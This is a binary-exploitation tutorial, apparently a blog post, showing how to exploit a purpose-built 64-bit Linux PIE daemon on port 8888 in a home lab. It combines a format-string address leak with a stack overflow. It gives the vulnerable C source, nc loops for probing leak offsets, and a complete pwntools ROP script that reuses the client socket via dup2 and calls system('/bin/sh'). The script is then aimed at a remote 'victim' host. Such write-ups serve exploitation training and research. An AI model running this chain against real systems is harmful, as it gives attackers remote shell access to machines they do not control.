written by : Antonius (w1sdom)
web : bluedragonsec.com
github : https://github.com/bluedragonsecurity
Exploiting a 64-bit Linux program (daemon) that has PIE (Position Independent Executable) protection using a combination of Format String and Stack Overflow is an advanced technique in binary exploitation.
The following are the systematic steps to understand and execute this technique.
PIE is a security feature that loads the entire binary (including the .text code section) at a random memory address each time it is run.
Solution: We need a Memory Leak to calculate the “Base Address” of the binary.
A Format String vulnerability (such as printf(user_input)) allows us to read data from the stack. On Linux x86_64, function arguments are passed through registers (RDI, RSI, RDX, RCX, R8, R9) before going to the stack.
1. Find a Binary Pointer: Use a payload such as %p %p %p… to view the stack contents. Look for an address that resembles an instruction address (usually starting with 0x55 or 0x56 on modern kernels).
2. Calculate the Base Address: If you find a leaked address at a certain offset, the formula is:
Base Address Elf = Leaked Address — Static Offset
After obtaining the Base Address, all function addresses within the binary can now be accurately predicted:
After obtaining the important addresses, we exploit the second vulnerability: Stack Overflow. The goal is to overwrite the Top of the Stack (which will be used as the return address when ret executes) with a ROP (Return Oriented Programming) Chain to then obtain a bind shell on the target machine.
In this example, the target machine runs Lubuntu 24.04.3 with IP address 192.168.56.102, while the attacker machine is Kali Linux with IP address 192.168.56.1.
Before starting, make sure the following line exists in /etc/dnsmasq.conf:
address=/victim/192.168.56.102
Then start dnsmasq: sudo systemctl start dnsmasq
Next, edit /etc/resolv.conf and add:
nameserver 127.0.0.1
If configured correctly:
$ host victim
victim has address 192.168.56.102
For this exercise, we will first perform the exploitation locally (on Kali Linux). Once successful, we will launch the attack against the target machine.
Here is the vulnerable daemon source code running on Lubuntu 24.04.3:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <signal.h>#include <sys/wait.h>#include <errno.h>#include <string.h>#include <unistd.h>#include <sys/socket.h>void sigchld_handler(int s) { int saved_errno = errno; while(waitpid(-1, NULL, WNOHANG) > 0); errno = saved_errno;}void print_date(int client_sock) { char *bin = "/bin/sh"; char *date_cmd = "date"; char *args[] = {bin, "-c", date_cmd, NULL}; char *env[] = {NULL}; pid_t pid = fork(); if (pid == 0) { dup2(client_sock, STDOUT_FILENO); dup2(client_sock, STDERR_FILENO); if (execve(bin, args, env) == -1) { perror("date failed"); } }}void handle_client(int client_sock) { char buffer[64]; char input[512]; int c; int n = recv(client_sock, input, sizeof(input) - 1, 0); if (n > 0) { input[n] = '\0'; dprintf(client_sock, "Server Echo: "); dprintf(client_sock, input); dprintf(client_sock, "\n"); memcpy(buffer, input, n); printf("Received: %s\n", buffer); if (strstr(buffer, "date")) { print_date(client_sock); } else if (strstr(buffer, "sleep")) { c = getchar(); putchar(c); } else if (strstr(buffer, "nothing")) { __asm__("pop %rdi; ret"); __asm__("pop %rsi; ret"); __asm__("ret"); system("echo 'do nothing'"); } }}int main(int argc, char **argv) { int server_fd, client_sock; struct sockaddr_in server_addr; struct sigaction sa; sa.sa_handler = sigchld_handler; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; if (sigaction(SIGCHLD, &sa, NULL) == -1) { perror("sigaction"); exit(1); } server_fd = socket(AF_INET, SOCK_STREAM, 0); int opt = 1; setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(8888); bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)); listen(server_fd, 5); printf("Listening on port 8888...\n"); while (1) { client_sock = accept(server_fd, NULL, NULL); if (fork() == 0) { close(server_fd); handle_client(client_sock); exit(0); } close(client_sock); } return 0;}
The program above has a format string bug and a stack overflow bug. The format string bug occurs on this line:
dprintf(client_sock, input);
The stack overflow bug occurs on this line:
memcpy(buffer, input, n);
On the Lubuntu 24 machine, save as vuln.c then compile:
gcc -o vuln vuln.c -fno-stack-protector
Before attempting on the target Lubuntu 24.04.3, we will try the exploitation locally first. If successful, we simply edit the exploit code to launch it against the victim host.
For reliable exploit development, we must know the operating system of the target to be exploited. The purpose is to know which version of libc is being used.
Additionally, we must also have the same binary file as the vulnerable binary on the target server.
For example, if the target server runs Lubuntu 24 and nginx 1.3.9, then for reliable exploit development on the machine used for exploit development, we need the libc.so.6 and ld.so with the same version as the target server. We must also have the daemon binary with the same version as on the target server. If we do not have the daemon binary with the same version, at minimum we must have the source code of the vulnerable application to compile locally and then patch with patchelf.
Why must ld.so (Linker) be the same? libc.so.6 cannot run on its own. It requires the Dynamic Linker (usually named ld-linux-x86–64.so.2 on 64-bit) to map the library into memory. If you run libc version 2.31 using ld version 2.35 from your native system, the program will most likely Segmentation Fault immediately before reaching the main function.
For reliable exploitation we must have the same vulnerable daemon ELF binary as the target machine. In this example, I have already compiled and downloaded the vuln ELF binary from the Ubuntu 24 machine. If possible, use the exact same operating system as the target during exploit development for reliability.
So that the program behaves the same as when running on the target Lubuntu 24.04.3, I have already downloaded libc.so.6 and ld-linux-x86–64.so.2 from the Lubuntu 24.04.3 machine.
Download the vuln binary from the Lubuntu 24 machine to Kali Linux!
Next, run patchelf:
chmod +x *patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./vulnpatchelf --set-rpath . ./vuln
Then run vuln:
./vuln
On 64-bit Linux, the ELF binary is typically loaded in memory starting at the address range 0x55 or 0x56. Therefore, we will try using the format string technique to find the correct format string offset that is approximately within the ELF binary memory address range.
Let us try executing this command:
for i in {1..40}; do echo -n "Offset $i: "; echo "LEAK %$i\$p" | nc 127.0.0.1 8888; done
No results found.
Let us try the subsequent offsets:
for i in {41..80}; do echo -n "Offset $i: "; echo "LEAK %$i\$p" | nc 127.0.0.1 8888; done
Result:
At offset 45, an interesting pattern was found:
Offset 45: Server Echo: LEAK 0x558b8e006d00
The memory address 0x558b8e006d00 likely falls within the range of one of the memory addresses where the ELF binary is loaded in memory. We obtained it at format string offset 45.
To calculate the static offset, we will first look at /proc/pid/maps of the running ELF process.
ps aux | grep vuln
Example result:
robohax 66039 0.0 0.0 2696 1552 pts/3 S+ 08:47 0:00 ./vuln
Then:
sudo cat /proc/66039/maps
The base address where the vuln ELF is loaded in memory is: 0x558b8e003000
To obtain the static offset, we subtract the leaked memory address from the ELF base address.
Static offset = 0x558b8e006d00–0x558b8e003000
Open rapidtables:
https://www.rapidtables.com/calc/math/hex-calculator.html
Enter the calculation, result: 0x3D00
So the static offset obtained based on the memory address leaked via format string is 0x3D00.
Next, we will look for the offsets needed to craft our payload.
Our payload will be a bind shell payload utilizing the currently created client socket. The approximate payload layout is as follows:
1. dup2(4, 0) — Redirect STDIN
2. dup2(4, 1) — Redirect STDOUT
3. ret padding
4. system(“/bin/sh”)
Did you notice something ? there is no int 80h, we just need to dup the current fd for socket client, this is called the socket reuse attack.
Here are the commands to obtain these offsets from the vuln binary:
objdump -d vuln | grep "system" -----> 0x1230strings -a -t x vuln | grep "/bin/sh" -----> 0x2004ROPgadget --binary vuln | grep "pop rdi ; ret" -----> 0x167eROPgadget --binary vuln | grep "pop rsi ; ret" -----> 0x1680objdump -d vuln | grep "dup2" -----> 0x1250ROPgadget --binary vuln | grep ": ret$" | head -n 5 -----> 0x101a
Here is the complete exploit code in Python:
#!/usr/bin/env python3from pwn import *context.arch = 'amd64'target_host = 'localhost'target_port = 8888def pwn(): elf_base = 0 try: io_leak = remote(target_host, target_port) io_leak.send(b"%45$p") io_leak.recvuntil(b"Server Echo: ") leak_data = io_leak.recvline().strip().decode() leaked_addr = int(leak_data, 16) elf_base = leaked_addr - 0x3D00 print(f"[+] Elf Base: {hex(elf_base)}") io_leak.close() except Exception as e: print(f"[-] Failed to Leak: {e}") return pop_rdi = elf_base + 0x167e pop_rsi = elf_base + 0x1680 dup2_addr = elf_base + 0x1250 system_addr = elf_base + 0x1230 bin_sh_addr = elf_base + 0x2004 ret_align = elf_base + 0x101a fd = 4 rop = b"" # dup2(4, 0) - Redirect STDIN rop += p64(pop_rdi) + p64(fd) rop += p64(pop_rsi) + p64(0) rop += p64(dup2_addr) # dup2(4, 1) - Redirect STDOUT rop += p64(pop_rdi) + p64(fd) rop += p64(pop_rsi) + p64(1) rop += p64(dup2_addr) # system("/bin/sh") rop += p64(ret_align) rop += p64(pop_rdi) + p64(bin_sh_addr) rop += p64(system_addr) # Based on GDB disassembly: lea -0x50(%rbp), %rax padding = b"A" * 80 saved_rbp = b"B" * 8 # Combine everything. Add padding payload = padding + saved_rbp + rop + b"C" * 32 print(f"[*] Attacking {target_host}...") io_exp = remote(target_host, target_port) io_exp.send(payload) time.sleep(1) io_exp.interactive()if __name__ == "__main__": pwn()
Save as exploit.py then chmod and run:
chmod +x exploit.py./exploit.py
Result:
Press enter or click to view image in full size

Exploit successfully obtained a bind shell on the local machine (Kali Linux).
After testing on the local machine, the next step is to test whether the exploit can succeed on the remote machine.
On the target_host line, change to victim:
target_host = 'victim'
Save as exploit2.py then chmod and run:
chmod +x exploit2.py./exploit2.py
And the result:
Press enter or click to view image in full size

I do low level vulnerability research & hardware hacking (main focus : robotics).
Hobbies